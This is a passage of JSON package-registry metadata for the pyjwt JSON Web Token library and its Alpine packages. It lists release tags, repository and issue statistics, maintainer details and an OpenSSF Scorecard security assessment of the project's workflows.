:"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.748Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":23.15109241973536,"stargazers_count":1.9078879885116422,"forks_count":1.9796902246384245,"average":6.759667658221357},"purl":"pkg:apk/alpine/py-jwt-cli?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.9","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py-jwt-cli","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py-jwt-cli","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py-jwt-cli/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py-jwt-cli/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py-jwt-cli/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py-jwt-cli/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py-jwt-cli/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py-jwt-cli/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages/py-jwt-cli/codemeta","maintainers":[],"registry":{"name":"alpine-v3.9","url":"https://pkgs.alpinelinux.org/packages?branch=v3.9","ecosystem":"alpine","default":false,"packages_count":9749,"maintainers_count":154,"namespaces_count":2,"keywords_count":832,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":356},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.805Z","updated_at":"2026-06-10T05:12:00.044Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.9/namespaces"}},{"id":6101507,"name":"py3-jwt","ecosystem":"alpine","description":"Python3 JSON Web Token implementation","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2022-10-30T10:56:48.000Z","latest_release_published_at":"2022-10-30T10:56:48.000Z","latest_release_number":"2.6.0-r0","last_synced_at":"2026-04-15T03:03:00.215Z","created_at":"2023-01-31T20:49:04.954Z","updated_at":"2026-05-29T04:00:35.752Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.17/community/x86_64/py3-jwt","install_command":"apk add py3-jwt","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecos